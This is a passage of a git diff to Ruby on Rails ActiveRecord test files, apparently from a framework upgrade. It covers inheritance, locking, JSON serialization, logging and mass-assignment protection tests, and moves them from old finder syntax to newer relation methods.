-    assert_same author_id, author
-    assert_not_nil author.name
-
-    post, post_id = Post.first, Post.select('id').first
-
-    assert_equal post_id, post
-    assert_same post_id, post
-    assert_not_nil post.title
-  end
-
-# Currently AR is not allowing changing primary key (see Persistence#update)
-# So we ignore it. If this changes, this test needs to be uncommented.
-#  def test_updating_of_pkey
-#    assert client = Client.find(3),
-#    client.update_attribute(:id, 666)
-#
-#    assert Client.find(666)
-#    assert_same(client, Client.find(666))
-#
-#    s = Subscriber.find_by_nick('swistak')
-#    assert s.update_attribute(:nick, 'swistakTheJester')
-#    assert_equal('swistakTheJester', s.nick)
-#
-#    assert stj = Subscriber.find_by_nick('swistakTheJester')
-#    assert_same(s, stj)
-#  end
-
-end
-end
diff --git a/activerecord/test/cases/inclusion_test.rb b/activerecord/test/cases/inclusion_test.rb
new file mode 100644
index 0000000000..8f095e4953
--- /dev/null
+++ b/activerecord/test/cases/inclusion_test.rb
@@ -0,0 +1,133 @@
+require 'cases/helper'
+require 'models/teapot'
+
+class BasicInclusionModelTest < ActiveRecord::TestCase
+  def test_basic_model
+    Teapot.create!(:name => "Ronnie Kemper")
+    assert_equal "Ronnie Kemper", Teapot.first.name
+  end
+
+  def test_initialization
+    t = Teapot.new(:name => "Bob")
+    assert_equal "Bob", t.name
+  end
+
+  def test_inherited_model
+    teapot = CoolTeapot.create!(:name => "Bob")
+    teapot.reload
+
+    assert_equal "Bob", teapot.name
+    assert_equal "mmm", teapot.aaahhh
+  end
+
+  def test_generated_feature_methods
+    assert Teapot < Teapot::GeneratedFeatureMethods
+  end
+
+  def test_exists
+    t = Teapot.create!(:name => "Ronnie Kemper")
+    assert Teapot.exists?(t)
+  end
+
+  def test_predicate_builder
+    t = Teapot.create!(:name => "Bob")
+    assert_equal "Bob", Teapot.where(:id => [t]).first.name
+    assert_equal "Bob", Teapot.where(:id => t).first.name
+  end
+
+  def test_nested_model
+    assert_equal "ceiling_teapots", Ceiling::Teapot.table_name
+  end
+end
+
+class InclusionUnitTest < ActiveRecord::TestCase
+  def setup
+    @klass = Class.new { include ActiveRecord::Model }
+  end
+
+  def test_non_abstract_class
+    assert !@klass.abstract_class?
+  end
+
+  def test_abstract_class
+    @klass.abstract_class = true
+    assert @klass.abstract_class?
+  end
+
+  def test_establish_connection
+    assert @klass.respond_to?(:establish_connection)
+    assert ActiveRecord::Model.respond_to?(:establish_connection)
+  end
+
+  def test_adapter_connection
+    name = "#{ActiveRecord::Base.connection_config[:adapter]}_connection"
+    assert @klass.respond_to?(name)
+    assert ActiveRecord::Model.respond_to?(name)
+  end
+
+  def test_connection_handler
+    assert_equal ActiveRecord::Base.connection_handler, @klass.connection_handler
+  end
+
+  def test_mirrored_configuration
+    ActiveRecord::Base.time_zone_aware_attributes = true
+    assert @klass.time_zone_aware_attributes
+    ActiveRecord::Base.time_zone_aware_attributes = false
+    assert !@klass.time_zone_aware_attributes
+  ensure
+    ActiveRecord::Base.time_zone_aware_attributes = false
+  end
+
+  # Doesn't really test anything, but this is here to ensure warnings don't occur
+  def test_included_twice
+    @klass.send :include, ActiveRecord::Model
+  end
+
+  def test_deprecation_proxy
+    proxy = ActiveRecord::Model::DeprecationProxy.new
+
+    assert_equal ActiveRecord::Model.name, proxy.name
+    assert_equal ActiveRecord::Base.superclass, assert_deprecated { proxy.superclass }
+
+    sup, sup2 = nil, nil
+    ActiveSupport.on_load(:__test_active_record_model_deprecation) do
+      sup = superclass
+      sup2 = send(:superclass)
+    end
+    assert_deprecated do
+      ActiveSupport.run_load_hooks(:__test_active_record_model_deprecation, proxy)
+    end
+    assert_equal ActiveRecord::Base.superclass, sup
+    assert_equal ActiveRecord::Base.superclass, sup2
+  end
+
+  test "including in deprecation proxy" do
+    model, base = ActiveRecord::Model.dup, ActiveRecord::Base.dup
+    proxy = ActiveRecord::Model::DeprecationProxy.new(model, base)
+
+    mod = Module.new
+    proxy.include mod
+    assert model < mod
+  end
+
+  test "extending in deprecation proxy" do
+    model, base = ActiveRecord::Model.dup, ActiveRecord::Base.dup
+    proxy = ActiveRecord::Model::DeprecationProxy.new(model, base)
+
+    mod = Module.new
+    assert_deprecated { proxy.extend mod }
+    assert base.singleton_class < mod
+  end
+end
+
+class InclusionFixturesTest < ActiveRecord::TestCase
+  fixtures :teapots
+
+  def test_fixtured_record
+    assert_equal "Bob", teapots(:bob).name
+  end
+
+  def test_timestamped_fixture
+    assert_not_nil teapots(:bob).created_at
+  end
+end
diff --git a/activerecord/test/cases/inheritance_test.rb b/activerecord/test/cases/inheritance_test.rb
index b5d8314541..e80259a7f1 100644
--- a/activerecord/test/cases/inheritance_test.rb
+++ b/activerecord/test/cases/inheritance_test.rb
@@ -1,7 +1,10 @@
 require "cases/helper"
 require 'models/company'
+require 'models/person'
+require 'models/post'
 require 'models/project'
 require 'models/subscriber'
+require 'models/teapot'
 
 class InheritanceTest < ActiveRecord::TestCase
   fixtures :companies, :projects, :subscribers, :accounts
@@ -15,7 +18,7 @@ class InheritanceTest < ActiveRecord::TestCase
   end
 
   def test_class_with_blank_sti_name
-    company = Company.find(:first)
+    company = Company.first
     company = company.dup
     company.extend(Module.new {
       def read_attribute(name)
@@ -24,7 +27,7 @@ class InheritanceTest < ActiveRecord::TestCase
       end
     })
     company.save!
-    company = Company.find(:all).find { |x| x.id == company.id }
+    company = Company.all.to_a.find { |x| x.id == company.id }
     assert_equal '  ', company.type
   end
 
@@ -65,12 +68,38 @@ class InheritanceTest < ActiveRecord::TestCase
   end
 
   def test_company_descends_from_active_record
-    assert_raise(NoMethodError) { ActiveRecord::Base.descends_from_active_record? }
     assert AbstractCompany.descends_from_active_record?, 'AbstractCompany should descend from ActiveRecord::Base'
     assert Company.descends_from_active_record?, 'Company should descend from ActiveRecord::Base'
     assert !Class.new(Company).descends_from_active_record?, 'Company subclass should not descend from ActiveRecord::Base'
   end
 
+  def test_inheritance_base_class
+    assert_equal Post, Post.base_class
+    assert_equal Post, SpecialPost.base_class
+    assert_equal Post, StiPost.base_class
+    assert_equal SubStiPost, SubStiPost.base_class
+  end
+
+  def test_active_record_model_included_base_class
+    assert_equal Teapot, Teapot.base_class
+  end
+
+  def test_abstract_inheritance_base_class
+    assert_equal LoosePerson, LoosePerson.base_class
+    assert_equal LooseDescendant, LooseDescendant.base_class
+    assert_equal TightPerson, TightPerson.base_class
+    assert_equal TightPerson, TightDescendant.base_class
+  end
+
+  def test_base_class_activerecord_error
+    klass = Class.new {
+      extend ActiveRecord::Configuration
+      include ActiveRecord::Inheritance
+    }
+
+    assert_raise(ActiveRecord::ActiveRecordError) { klass.base_class }
+  end
+
   def test_a_bad_type_column
     #SQLServer need to turn Identity Insert On before manually inserting into the Identity column
     if current_adapter?(:SybaseAdapter)
@@ -99,7 +128,7 @@ class InheritanceTest < ActiveRecord::TestCase
   end
 
   def test_inheritance_find_all
-    companies = Company.find(:all, :order => 'id')
+    companies = Company.all.merge!(:order => 'id').to_a
     assert_kind_of Firm, companies[0], "37signals should be a firm"
     assert_kind_of Client, companies[1], "Summit should be a client"
   end
@@ -150,9 +179,9 @@ class InheritanceTest < ActiveRecord::TestCase
 
   def test_update_all_within_inheritance
     Client.update_all "name = 'I am a client'"
-    assert_equal "I am a client", Client.find(:all).first.name
+    assert_equal "I am a client", Client.first.name
     # Order by added as otherwise Oracle tests were failing because of different order of results
-    assert_equal "37signals", Firm.find(:all, :order => "id").first.name
+    assert_equal "37signals", Firm.all.merge!(:order => "id").to_a.first.name
   end
 
   def test_alt_update_all_within_inheritance
@@ -174,9 +203,9 @@ class InheritanceTest < ActiveRecord::TestCase
   end
 
   def test_find_first_within_inheritance
-    assert_kind_of Firm, Company.find(:first, :conditions => "name = '37signals'")
-    assert_kind_of Firm, Firm.find(:first, :conditions => "name = '37signals'")
-    assert_nil Client.find(:first, :conditions => "name = '37signals'")
+    assert_kind_of Firm, Company.all.merge!(:where => "name = '37signals'").first
+    assert_kind_of Firm, Firm.all.merge!(:where => "name = '37signals'").first
+    assert_nil Client.all.merge!(:where => "name = '37signals'").first
   end
 
   def test_alt_find_first_within_inheritance
@@ -188,10 +217,10 @@ class InheritanceTest < ActiveRecord::TestCase
   def test_complex_inheritance
     very_special_client = VerySpecialClient.create("name" => "veryspecial")
     assert_equal very_special_client, VerySpecialClient.where("name = 'veryspecial'").first
-    assert_equal very_special_client, SpecialClient.find(:first, :conditions => "name = 'veryspecial'")
-    assert_equal very_special_client, Company.find(:first, :conditions => "name = 'veryspecial'")
-    assert_equal very_special_client, Client.find(:first, :conditions => "name = 'veryspecial'")
-    assert_equal 1, Client.find(:all, :conditions => "name = 'Summit'").size
+    assert_equal very_special_client, SpecialClient.all.merge!(:where => "name = 'veryspecial'").first
+    assert_equal very_special_client, Company.all.merge!(:where => "name = 'veryspecial'").first
+    assert_equal very_special_client, Client.all.merge!(:where => "name = 'veryspecial'").first
+    assert_equal 1, Client.all.merge!(:where => "name = 'Summit'").to_a.size
     assert_equal very_special_client, Client.find(very_special_client.id)
   end
 
@@ -202,14 +231,14 @@ class InheritanceTest < ActiveRecord::TestCase
   end
 
   def test_eager_load_belongs_to_something_inherited
-    account = Account.find(1, :include => :firm)
+    account = Account.all.merge!(:includes => :firm).find(1)
     assert account.association_cache.key?(:firm), "nil proves eager load failed"
   end
 
   def test_eager_load_belongs_to_primary_key_quoting
     con = Account.connection
     assert_sql(/#{con.quote_table_name('companies')}.#{con.quote_column_name('id')} IN \(1\)/) do
-      Account.find(1, :include => :firm)
+      Account.all.merge!(:includes => :firm).find(1)
     end
   end
 
@@ -231,16 +260,16 @@ class InheritanceTest < ActiveRecord::TestCase
   private
     def switch_to_alt_inheritance_column
       # we don't want misleading test results, so get rid of the values in the type column
-      Company.find(:all, :order => 'id').each do |c|
+      Company.all.merge!(:order => 'id').to_a.each do |c|
         c['type'] = nil
         c.save
       end
       [ Company, Firm, Client].each { |klass| klass.reset_column_information }
-      Company.set_inheritance_column('ruby_type')
+      Company.inheritance_column = 'ruby_type'
     end
     def switch_to_default_inheritance_column
       [ Company, Firm, Client].each { |klass| klass.reset_column_information }
-      Company.set_inheritance_column('type')
+      Company.inheritance_column = 'type'
     end
 end
 
@@ -260,7 +289,7 @@ class InheritanceComputeTypeTest < ActiveRecord::TestCase
 
   def test_instantiation_doesnt_try_to_require_corresponding_file
     ActiveRecord::Base.store_full_sti_class = false
-    foo = Firm.find(:first).clone
+    foo = Firm.first.clone
     foo.ruby_type = foo.type = 'FirmOnTheFly'
     foo.save!
 
diff --git a/activerecord/test/cases/invalid_date_test.rb b/activerecord/test/cases/invalid_date_test.rb
index 98cda010ae..426a350379 100644
--- a/activerecord/test/cases/invalid_date_test.rb
+++ b/activerecord/test/cases/invalid_date_test.rb
@@ -7,8 +7,6 @@ class InvalidDateTest < ActiveRecord::TestCase
 
     invalid_dates = [[2007, 11, 31], [1993, 2, 29], [2007, 2, 29]]
 
-    topic = Topic.new
-
     valid_dates.each do |date_src|
       topic = Topic.new("last_read(1i)" => date_src[0].to_s, "last_read(2i)" => date_src[1].to_s, "last_read(3i)" => date_src[2].to_s)
       # Oracle DATE columns are datetime columns and Oracle adapter returns Time value
diff --git a/activerecord/test/cases/invertible_migration_test.rb b/activerecord/test/cases/invertible_migration_test.rb
index 3ae7b63dff..8f1cdd47ea 100644
--- a/activerecord/test/cases/invertible_migration_test.rb
+++ b/activerecord/test/cases/invertible_migration_test.rb
@@ -88,5 +88,17 @@ module ActiveRecord
       LegacyMigration.down
       assert !ActiveRecord::Base.connection.table_exists?("horses"), "horses should not exist"
     end
+
+    def test_migrate_down_with_table_name_prefix
+      ActiveRecord::Base.table_name_prefix = 'p_'
+      ActiveRecord::Base.table_name_suffix = '_s'
+      migration = InvertibleMigration.new
+      migration.migrate(:up)
+      assert_nothing_raised { migration.migrate(:down) }
+      assert !ActiveRecord::Base.connection.table_exists?("p_horses_s"), "p_horses_s should not exist"
+    ensure
+      ActiveRecord::Base.table_name_prefix = ActiveRecord::Base.table_name_suffix = ''
+    end
+
   end
 end
diff --git a/activerecord/test/cases/json_serialization_test.rb b/activerecord/test/cases/json_serialization_test.rb
index d9e350abc0..a86b165c78 100644
--- a/activerecord/test/cases/json_serialization_test.rb
+++ b/activerecord/test/cases/json_serialization_test.rb
@@ -83,6 +83,53 @@ class JsonSerializationTest < ActiveRecord::TestCase
     assert_match %r{"favorite_quote":"Constraints are liberating"}, methods_json
   end
 
+  def test_uses_serializable_hash_with_only_option
+    def @contact.serializable_hash(options=nil)
+      super(only: %w(name))
+    end
+
+    json = @contact.to_json
+    assert_match %r{"name":"Konata Izumi"}, json
+    assert_no_match %r{awesome}, json
+    assert_no_match %r{age}, json
+  end
+
+  def test_uses_serializable_hash_with_except_option
+    def @contact.serializable_hash(options=nil)
+      super(except: %w(age))
+    end
+
+    json = @contact.to_json
+    assert_match %r{"name":"Konata Izumi"}, json
+    assert_match %r{"awesome":true}, json
+    assert_no_match %r{age}, json
+  end
+
+  def test_does_not_include_inheritance_column_from_sti
+    @contact = ContactSti.new(@contact.attributes)
+    assert_equal 'ContactSti', @contact.type
+
+    json = @contact.to_json
+    assert_match %r{"name":"Konata Izumi"}, json
+    assert_no_match %r{type}, json
+    assert_no_match %r{ContactSti}, json
+  end
+
+  def test_serializable_hash_with_default_except_option_and_excluding_inheritance_column_from_sti
+    @contact = ContactSti.new(@contact.attributes)
+    assert_equal 'ContactSti', @contact.type
+
+    def @contact.serializable_hash(options={})
+      super({ except: %w(age) }.merge!(options))
+    end
+
+    json = @contact.to_json
+    assert_match %r{"name":"Konata Izumi"}, json
+    assert_no_match %r{age}, json
+    assert_no_match %r{type}, json
+    assert_no_match %r{ContactSti}, json
+  end
+
   def test_serializable_hash_should_not_modify_options_in_argument
     options = { :only => :name }
     @contact.serializable_hash(options)
diff --git a/activerecord/test/cases/lifecycle_test.rb b/activerecord/test/cases/lifecycle_test.rb
index 75e5dfa49b..0b78f2e46b 100644
--- a/activerecord/test/cases/lifecycle_test.rb
+++ b/activerecord/test/cases/lifecycle_test.rb
@@ -137,7 +137,7 @@ class LifecycleTest < ActiveRecord::TestCase
   def test_auto_observer
     topic_observer = TopicaAuditor.instance
     assert_nil TopicaAuditor.observed_class
-    assert_equal [Topic], TopicaAuditor.instance.observed_classes.to_a
+    assert_equal [Topic], TopicaAuditor.observed_classes.to_a
 
     topic = Topic.find(1)
     assert_equal topic.title, topic_observer.topic.title
diff --git a/activerecord/test/cases/locking_test.rb b/activerecord/test/cases/locking_test.rb
index e9bd7f07b6..2392516395 100644
--- a/activerecord/test/cases/locking_test.rb
+++ b/activerecord/test/cases/locking_test.rb
@@ -3,23 +3,28 @@ require "cases/helper"
 require 'models/person'
 require 'models/job'
 require 'models/reader'
+require 'models/ship'
 require 'models/legacy_thing'
 require 'models/reference'
 require 'models/string_key_object'
+require 'models/car'
+require 'models/engine'
+require 'models/wheel'
+require 'models/treasure'
 
 class LockWithoutDefault < ActiveRecord::Base; end
 
 class LockWithCustomColumnWithoutDefault < ActiveRecord::Base
-  set_table_name :lock_without_defaults_cust
-  set_locking_column :custom_lock_version
+  self.table_name = :lock_without_defaults_cust
+  self.locking_column = :custom_lock_version
 end
 
-class ReadonlyFirstNamePerson < Person
-  attr_readonly :first_name
+class ReadonlyNameShip < Ship
+  attr_readonly :name
 end
 
 class OptimisticLockingTest < ActiveRecord::TestCase
-  fixtures :people, :legacy_things, :references, :string_key_objects
+  fixtures :people, :legacy_things, :references, :string_key_objects, :peoples_treasures
 
   def test_non_integer_lock_existing
     s1 = StringKeyObject.find("record1")
@@ -196,15 +201,15 @@ class OptimisticLockingTest < ActiveRecord::TestCase
   end
 
   def test_readonly_attributes
-    assert_equal Set.new([ 'first_name' ]), ReadonlyFirstNamePerson.readonly_attributes
+    assert_equal Set.new([ 'name' ]), ReadonlyNameShip.readonly_attributes
 
-    p = ReadonlyFirstNamePerson.create(:first_name => "unchangeable name")
-    p.reload
-    assert_equal "unchangeable name", p.first_name
+    s = ReadonlyNameShip.create(:name => "unchangeable name")
+    s.reload
+    assert_equal "unchangeable name", s.name
 
-    p.update_attributes(:first_name => "changed name")
-    p.reload
-    assert_equal "unchangeable name", p.first_name
+    s.update_attributes(:name => "changed name")
+    s.reload
+    assert_equal "unchangeable name", s.name
   end
 
   def test_quote_table_name
@@ -224,6 +229,27 @@ class OptimisticLockingTest < ActiveRecord::TestCase
       assert_equal lock_version, p1.lock_version
     end
   end
+
+  def test_polymorphic_destroy_with_dependencies_and_lock_version
+    car = Car.create!
+
+    assert_difference 'car.wheels.count'  do
+    	car.wheels << Wheel.create!
+    end
+    assert_difference 'car.wheels.count', -1  do
+      car.destroy
+    end
+    assert car.destroyed?
+  end
+
+  def test_removing_has_and_belongs_to_many_associations_upon_destroy
+    p = RichPerson.create! first_name: 'Jon'
+    p.treasures.create!
+    assert !p.treasures.empty?
+    p.destroy
+    assert p.treasures.empty?
+    assert RichPerson.connection.select_all("SELECT * FROM peoples_treasures WHERE rich_person_id = 1").empty?
+  end
 end
 
 class OptimisticLockingWithSchemaChangeTest < ActiveRecord::TestCase
@@ -278,6 +304,8 @@ class OptimisticLockingWithSchemaChangeTest < ActiveRecord::TestCase
     assert_equal true, p1.frozen?
     assert_raises(ActiveRecord::RecordNotFound) { Person.find(p1.id) }
     assert_raises(ActiveRecord::RecordNotFound) { LegacyThing.find(t.id) }
+  ensure
+    remove_counter_column_from(Person, 'legacy_things_count')
   end
 
   private
@@ -289,14 +317,14 @@ class OptimisticLockingWithSchemaChangeTest < ActiveRecord::TestCase
       model.update_all(col => 0) if current_adapter?(:OpenBaseAdapter)
     end
 
-    def remove_counter_column_from(model)
-      model.connection.remove_column model.table_name, :test_count
+    def remove_counter_column_from(model, col = :test_count)
+      model.connection.remove_column model.table_name, col
       model.reset_column_information
     end
 
     def counter_test(model, expected_count)
       add_counter_column_to(model)
-      object = model.find(:first)
+      object = model.first
       assert_equal 0, object.test_count
       assert_equal 0, object.send(model.locking_column)
       yield object.id
@@ -331,18 +359,7 @@ unless current_adapter?(:SybaseAdapter, :OpenBaseAdapter) || in_memory_db?
     def test_sane_find_with_lock
       assert_nothing_raised do
         Person.transaction do
-          Person.find 1, :lock => true
-        end
-      end
-    end
-
-    # Test scoped lock.
-    def test_sane_find_with_scoped_lock
-      assert_nothing_raised do
-        Person.transaction do
-          Person.send(:with_scope, :find => { :lock => true }) do
-            Person.find 1
-          end
+          Person.lock.find(1)
         end
       end
     end
@@ -353,7 +370,7 @@ unless current_adapter?(:SybaseAdapter, :OpenBaseAdapter) || in_memory_db?
       def test_eager_find_with_lock
         assert_nothing_raised do
           Person.transaction do
-            Person.find 1, :include => :readers, :lock => true
+            Person.includes(:readers).lock.find(1)
           end
         end
       end
@@ -371,22 +388,32 @@ unless current_adapter?(:SybaseAdapter, :OpenBaseAdapter) || in_memory_db?
       end
     end
 
+    def test_with_lock_commits_transaction
+      person = Person.find 1
+      person.with_lock do
+        person.first_name = 'fooman'
+        person.save!
+      end
+      assert_equal 'fooman', person.reload.first_name
+    end
+
+    def test_with_lock_rolls_back_transaction
+      person = Person.find 1
+      old = person.first_name
+      person.with_lock do
+        person.first_name = 'fooman'
+        person.save!
+        raise 'oops'
+      end rescue nil
+      assert_equal old, person.reload.first_name
+    end
+
     if current_adapter?(:PostgreSQLAdapter, :OracleAdapter)
       def test_no_locks_no_wait
         first, second = duel { Person.find 1 }
         assert first.end > second.end
       end
 
-      # Hit by ruby deadlock detection since connection checkout is mutexed.
-      if RUBY_VERSION < '1.9.0'
-        def test_second_lock_waits
-          assert [0.2, 1, 5].any? { |zzz|
-            first, second = duel(zzz) { Person.find 1, :lock => true }
-            second.end > first.end
-          }
-        end
-      end
-
       protected
         def duel(zzz = 5)
           t0, t1, t2, t3 = nil, nil, nil, nil
diff --git a/activerecord/test/cases/log_subscriber_test.rb b/activerecord/test/cases/log_subscriber_test.rb
index 9e8475465e..70d00aecf9 100644
--- a/activerecord/test/cases/log_subscriber_test.rb
+++ b/activerecord/test/cases/log_subscriber_test.rb
@@ -5,14 +5,13 @@ require "active_support/log_subscriber/test_helper"
 
 class LogSubscriberTest < ActiveRecord::TestCase
   include ActiveSupport::LogSubscriber::TestHelper
-  include ActiveSupport::BufferedLogger::Severity
+  include ActiveSupport::Logger::Severity
 
   fixtures :posts
 
   def setup
     @old_logger = ActiveRecord::Base.logger
-    @using_identity_map = ActiveRecord::IdentityMap.enabled?
-    ActiveRecord::IdentityMap.enabled = false
+    Developer.primary_key
     super
     ActiveRecord::LogSubscriber.attach_to(:active_record)
   end
@@ -21,7 +20,6 @@ class LogSubscriberTest < ActiveRecord::TestCase
     super
     ActiveRecord::LogSubscriber.log_subscribers.pop
     ActiveRecord::Base.logger = @old_logger
-    ActiveRecord::IdentityMap.enabled = @using_identity_map
   end
 
   def set_logger(logger)
@@ -56,7 +54,7 @@ class LogSubscriberTest < ActiveRecord::TestCase
   end
 
   def test_basic_query_logging
-    Developer.all
+    Developer.all.load
     wait
     assert_equal 1, @logger.logged(:debug).size
     assert_match(/Developer Load/, @logger.logged(:debug).last)
@@ -73,8 +71,8 @@ class LogSubscriberTest < ActiveRecord::TestCase
 
   def test_cached_queries
     ActiveRecord::Base.cache do
-      Developer.all
-      Developer.all
+      Developer.all.load
+      Developer.all.load
     end
     wait
     assert_equal 2, @logger.logged(:debug).size
@@ -84,7 +82,7 @@ class LogSubscriberTest < ActiveRecord::TestCase
 
   def test_basic_query_doesnt_log_when_level_is_not_debug
     @logger.level = INFO
-    Developer.all
+    Developer.all.load
     wait
     assert_equal 0, @logger.logged(:debug).size
   end
@@ -92,8 +90,8 @@ class LogSubscriberTest < ActiveRecord::TestCase
   def test_cached_queries_doesnt_log_when_level_is_not_debug
     @logger.level = INFO
     ActiveRecord::Base.cache do
-      Developer.all
-      Developer.all
+      Developer.all.load
+      Developer.all.load
     end
     wait
     assert_equal 0, @logger.logged(:debug).size
@@ -102,13 +100,4 @@ class LogSubscriberTest < ActiveRecord::TestCase
   def test_initializes_runtime
     Thread.new { assert_equal 0, ActiveRecord::LogSubscriber.runtime }.join
   end
-
-  def test_log
-    ActiveRecord::IdentityMap.use do
-      Post.find 1
-      Post.find 1
-    end
-    wait
-    assert_match(/From Identity Map/, @logger.logged(:debug).last)
-  end
 end
diff --git a/activerecord/test/cases/mass_assignment_security_test.rb b/activerecord/test/cases/mass_assignment_security_test.rb
index 9fff50edcb..a36b2c2506 100644
--- a/activerecord/test/cases/mass_assignment_security_test.rb
+++ b/activerecord/test/cases/mass_assignment_security_test.rb
@@ -50,6 +50,13 @@ module MassAssignmentTestHelpers
     assert_equal 'm',    person.gender
     assert_equal 'rides a sweet bike', person.comments
   end
+
+  def with_strict_sanitizer
+    ActiveRecord::Base.mass_assignment_sanitizer = :strict
+    yield
+  ensure
+    ActiveRecord::Base.mass_assignment_sanitizer = :logger
+  end
 end
 
 module MassAssignmentRelationTestHelpers
@@ -88,7 +95,11 @@ class MassAssignmentSecurityTest < ActiveRecord::TestCase
   end
 
   def test_mass_assigning_does_not_choke_on_nil
-    Firm.new.assign_attributes(nil)
+    assert_nil Firm.new.assign_attributes(nil)
+  end
+
+  def test_mass_assigning_does_not_choke_on_empty_hash
+    assert_nil Firm.new.assign_attributes({})
   end
 
   def test_assign_attributes_uses_default_role_when_no_role_is_provided
@@ -241,6 +252,82 @@ class MassAssignmentSecurityTest < ActiveRecord::TestCase
     end
   end
 
+  test "ActiveRecord::Model.whitelist_attributes works for models which include Model" do
+    begin
+      prev, ActiveRecord::Model.whitelist_attributes = ActiveRecord::Model.whitelist_attributes, true
+
+      klass = Class.new { include ActiveRecord::Model }
+      assert_equal ActiveModel::MassAssignmentSecurity::WhiteList, klass.active_authorizers[:default].class
+      assert_equal [], klass.active_authorizers[:default].to_a
+    ensure
+      ActiveRecord::Model.whitelist_attributes = prev
+    end
+  end
+
+  test "ActiveRecord::Model.whitelist_attributes works for models which inherit Base" do
+    begin
+      prev, ActiveRecord::Model.whitelist_attributes = ActiveRecord::Model.whitelist_attributes, true
+
+      klass = Class.new(ActiveRecord::Base)
+      assert_equal ActiveModel::MassAssignmentSecurity::WhiteList, klass.active_authorizers[:default].class
+      assert_equal [], klass.active_authorizers[:default].to_a
+
+      klass.attr_accessible 'foo'
+      assert_equal ['foo'], Class.new(klass).active_authorizers[:default].to_a
+    ensure
+      ActiveRecord::Model.whitelist_attributes = prev
+    end
+  end
+
+  test "ActiveRecord::Model.mass_assignment_sanitizer works for models which include Model" do
+    begin
+      sanitizer = Object.new
+      prev, ActiveRecord::Model.mass_assignment_sanitizer = ActiveRecord::Model.mass_assignment_sanitizer, sanitizer
+
+      klass = Class.new { include ActiveRecord::Model }
+      assert_equal sanitizer, klass._mass_assignment_sanitizer
+
+      ActiveRecord::Model.mass_assignment_sanitizer = nil
+      klass = Class.new { include ActiveRecord::Model }
+      assert_not_nil klass._mass_assignment_sanitizer
+    ensure
+      ActiveRecord::Model.mass_assignment_sanitizer = prev
+    end
+  end
+
+  test "ActiveRecord::Model.mass_assignment_sanitizer works for models which inherit Base" do
+    begin
+      sanitizer = Object.new
+      prev, ActiveRecord::Model.mass_assignment_sanitizer = ActiveRecord::Model.mass_assignment_sanitizer, sanitizer
+
+      klass = Class.new(ActiveRecord::Base)
+      assert_equal sanitizer, klass._mass_assignment_sanitizer
+
+      sanitizer2 = Object.new
+      klass.mass_assignment_sanitizer = sanitizer2
+      assert_equal sanitizer2, Class.new(klass)._mass_assignment_sanitizer
+    ensure
+      ActiveRecord::Model.mass_assignment_sanitizer = prev
+    end
+  end
+end
+
+
+# This class should be deleted when we remove activerecord-deprecated_finders as a
+# dependency.
+class MassAssignmentSecurityDeprecatedFindersTest < ActiveRecord::TestCase
+  include MassAssignmentTestHelpers
+
+  def setup
+    super
+    @deprecation_behavior = ActiveSupport::Deprecation.behavior
+    ActiveSupport::Deprecation.behavior = :silence
+  end
+
+  def teardown
+    ActiveSupport::Deprecation.behavior = @deprecation_behavior
+  end
+
   def test_find_or_initialize_by_with_attr_accessible_attributes
     p = TightPerson.find_or_initialize_by_first_name('Josh', attributes_hash)
 
@@ -323,6 +410,13 @@ class MassAssignmentSecurityHasOneRelationsTest < ActiveRecord::TestCase
     assert_all_attributes(best_friend)
   end
 
+  def test_has_one_build_with_strict_sanitizer
+    with_strict_sanitizer do
+      best_friend = @person.build_best_friend(attributes_hash.except(:id, :comments))
+      assert_equal @person.id, best_friend.best_friend_id
+    end
+  end
+
   # create
 
   def test_has_one_create_with_attr_protected_attributes
@@ -350,6 +444,13 @@ class MassAssignmentSecurityHasOneRelationsTest < ActiveRecord::TestCase
     assert_all_attributes(best_friend)
   end
 
+  def test_has_one_create_with_strict_sanitizer
+    with_strict_sanitizer do
+      best_friend = @person.create_best_friend(attributes_hash.except(:id, :comments))
+      assert_equal @person.id, best_friend.best_friend_id
+    end
+  end
+
   # create!
 
   def test_has_one_create_with_bang_with_attr_protected_attributes
@@ -377,6 +478,13 @@ class MassAssignmentSecurityHasOneRelationsTest < ActiveRecord::TestCase
     assert_all_attributes(best_friend)
   end
 
+  def test_has_one_create_with_bang_with_strict_sanitizer
+    with_strict_sanitizer do
+      best_friend = @person.create_best_friend!(attributes_hash.except(:id, :comments))
+      assert_equal @person.id, best_friend.best_friend_id
+    end
+  end
+
 end
 
 
@@ -438,6 +546,13 @@ class MassAssignmentSecurityBelongsToRelationsTest < ActiveRecord::TestCase
     assert_all_attributes(best_friend)
   end
 
+  def test_belongs_to_create_with_strict_sanitizer
+    with_strict_sanitizer do
+      best_friend = @person.create_best_friend_of(attributes_hash.except(:id, :comments))
+      assert_equal best_friend.id, @person.best_friend_of_id
+    end
+  end
+
   # create!
 
   def test_belongs_to_create_with_bang_with_attr_protected_attributes
@@ -465,6 +580,13 @@ class MassAssignmentSecurityBelongsToRelationsTest < ActiveRecord::TestCase
     assert_all_attributes(best_friend)
   end
 
+  def test_belongs_to_create_with_bang_with_strict_sanitizer
+    with_strict_sanitizer do
+      best_friend = @person.create_best_friend_of!(attributes_hash.except(:id, :comments))
+      assert_equal best_friend.id, @person.best_friend_of_id
+    end
+  end
+
 end
 
 
@@ -499,6 +621,13 @@ class MassAssignmentSecurityHasManyRelationsTest < ActiveRecord::TestCase
     assert_all_attributes(best_friend)
   end
 
+  def test_has_many_build_with_strict_sanitizer
+    with_strict_sanitizer do
+      best_friend = @person.best_friends.build(attributes_hash.except(:id, :comments))
+      assert_equal @person.id, best_friend.best_friend_id
+    end
+  end
+
   # create
 
   def test_has_many_create_with_attr_protected_attributes
@@ -526,6 +655,13 @@ class MassAssignmentSecurityHasManyRelationsTest < ActiveRecord::TestCase
     assert_all_attributes(best_friend)
   end
 
+  def test_has_many_create_with_strict_sanitizer
+    with_strict_sanitizer do
+      best_friend = @person.best_friends.create(attributes_hash.except(:id, :comments))
+      assert_equal @person.id, best_friend.best_friend_id
+    end
+  end
+
   # create!
 
   def test_has_many_create_with_bang_with_attr_protected_attributes
@@ -553,6 +689,13 @@ class MassAssignmentSecurityHasManyRelationsTest < ActiveRecord::TestCase
     assert_all_attributes(best_friend)
   end
 
+  def test_has_many_create_with_bang_with_strict_sanitizer
+    with_strict_sanitizer do
+      best_friend = @person.best_friends.create!(attributes_hash.except(:id, :comments))
+      assert_equal @person.id, best_friend.best_friend_id
+    end
+  end
+
 end
 
 
@@ -798,4 +941,26 @@ class MassAssignmentSecurityNestedAttributesTest < ActiveRecord::TestCase
     assert_all_attributes(person.best_friends.first)
   end
 
+  def test_mass_assignment_options_are_reset_after_exception
+    person = NestedPerson.create!({ :first_name => 'David', :gender => 'm' }, :as => :admin)
+    person.create_best_friend!({ :first_name => 'Jeremy', :gender => 'm' }, :as => :admin)
+
